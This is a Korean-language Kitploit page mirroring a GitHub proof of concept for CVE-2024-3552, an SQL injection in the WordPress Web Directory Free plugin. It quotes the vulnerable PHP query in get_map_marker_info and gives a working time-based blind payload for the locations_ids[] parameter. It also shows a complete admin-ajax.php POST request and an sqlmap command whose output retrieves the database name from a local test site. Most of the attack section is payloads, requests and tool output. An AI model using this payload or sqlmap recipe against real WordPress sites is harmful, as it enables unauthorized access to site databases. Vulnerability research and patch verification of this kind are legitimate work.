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cve-2024-3552 — CVE-2024-3552에 대한 PoC: WordPress Web Directory Free 플러그인(버전 1.7.0 미만)의 SQL 인젝션. 취약 코드 분석, 수동 익스플로잇, 시간 기반 블라인드 인젝션을 위한 sqlmap 자동화를 포함합니다. | Kitploit
도구/GitHubGitHub/kiphuong/cve-2024-3552
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & Education
GitHubkiphuong/cve-2024-3552

cve-2024-3552

CVE-2024-3552에 대한 PoC: WordPress Web Directory Free 플러그인(버전 1.7.0 미만)의 SQL 인젝션. 취약 코드 분석, 수동 익스플로잇, 시간 기반 블라인드 인젝션을 위한 sqlmap 자동화를 포함합니다.

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설명

Plugin Web Directory Free (WordPress) 1.7.0 미만 버전에는 SQL Injection 취약점이 존재합니다. AJAX 실행 함수가 적절히 필터링/새니타이즈되지 않아 공격자가 SQL 쿼리를 무효화하거나 (UNION, 시간 기반, 오류 기반) 절을 삽입할 수 있습니다.

컨텍스트

  • Wordpress 버전 5.8
  • Plugin web-directory-free 버전 1.6.9
  • MySQL 버전 5.7

소스 코드

image

파일 ajax-controller.php → 클래스 w2dc_ajax_controller → 함수 get_map_marker_info

  1. $_POST['locations_ids'] 값을 통해 사용자 입력을 직접 받아들이며 유효성 검사를 수행하지 않음
  2. 입력을 이스케이프하거나 준비하지 않음 $locations_ids = w2dc_getValue($_POST, 'locations_ids');
  3. SQL 쿼리에 직접 연결됨. $_POST['locations_ids']의 각 요소인 $location_id는 foreach 루프를 통해 처리됨
root@kitploit:~
$row = $wpdb->get_row("SELECT * FROM {$wpdb->w2dc_locations_relationships} WHERE id=".$location_id, ARRAY_A);

⇒ SQL 인젝션 발생

데모

페이로드 사용: action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 1 FROM (SELECT IF(1=1,SLEEP(5),0)) AS a)

요청:

root@kitploit:~
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Length: 110
sec-ch-ua-platform: "Linux"
Accept-Language: en-US,en;q=0.9
sec-ch-ua: "Not)A;Brand";v="8", "Chromium";v="138"
sec-ch-ua-mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost:8080
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/wp-admin/
Accept-Encoding: gzip, deflate, br

action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 1 FROM (SELECT IF(1=1,SLEEP(5),0)) AS a)
  1. 조건이 참인 페이로드 사용 시 (IF(1=1, ...)) → 5초 지연
image (1)
  1. 조건이 거짓인 페이로드 사용 시 (IF(1=2, ...)) → 지연 없음
image (2)

결론:

  • 조건이 참인 페이로드를 사용하면 서버가 약 6초 후에 응답을 반환 → SLEEP(5) 실행됨
  • 조건이 거짓인 페이로드를 사용하면 서버가 약 1초 후에 결과를 반환 → SLEEP(5) 실행되지 않음

⇒ 인젝션된 쿼리가 실행됨 → 성공적으로 익스플로잇

sqlmap을 사용한 스캔

root@kitploit:~
kp@ubuntu:~/Desktop/cve-2024-3552$ sqlmap -u "http://localhost:8080/wp-admin/admin-ajax.php" \
>   --data="action=w2dc_get_map_marker_info&locations_ids[]=1" \
>   -p "locations_ids[]" \
>   --batch --current-db --threads=5
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.4.4#stable}
|_ -| . [(]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 00:59:23 /2025-07-22/

[00:59:24] [INFO] testing connection to the target URL
[00:59:24] [INFO] checking if the target is protected by some kind of WAF/IPS
[00:59:24] [INFO] testing if the target URL content is stable
[00:59:24] [INFO] target URL content is stable
[00:59:24] [WARNING] heuristic (basic) test shows that POST parameter 'locations_ids[]' might not be injectable
[00:59:24] [INFO] testing for SQL injection on POST parameter 'locations_ids[]'
[00:59:24] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:59:25] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[00:59:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[00:59:25] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:59:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[00:59:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[00:59:27] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[00:59:27] [INFO] testing 'Generic inline queries'
[00:59:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[00:59:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[00:59:27] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[00:59:28] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[00:59:38] [INFO] POST parameter 'locations_ids[]' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[00:59:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:59:38] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[00:59:40] [INFO] checking if the injection point on POST parameter 'locations_ids[]' is a false positive
POST parameter 'locations_ids[]' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 73 HTTP(s) requests:
---
Parameter: locations_ids[] (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 7278 FROM (SELECT(SLEEP(5)))tyoO)
---
[00:59:55] [INFO] the back-end DBMS is MySQL
[00:59:55] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
back-end DBMS: MySQL >= 5.0.12
[00:59:56] [INFO] fetching current database
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[00:59:56] [INFO] retrieved: 
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] Y
[01:00:11] [INFO] adjusting time delay to 1 second due to good response times
wp_db
current database: 'wp_db'
[01:00:34] [INFO] fetched data logged to text files under '/home/kp/.sqlmap/output/localhost'
[01:00:34] [WARNING] you haven't updated sqlmap for more than 1936 days!!!

[*] ending @ 01:00:34 /2025-07-22/

획득한 페이로드 = action=w2dc_get_map_marker_info&locations_ids[]=1 AND (SELECT 7278 FROM (SELECT(SLEEP(5)))tyoO) ⇒ SQLi 취약점 존재

Github

https://github.com/KiPhuong/cve-2024-3552.git

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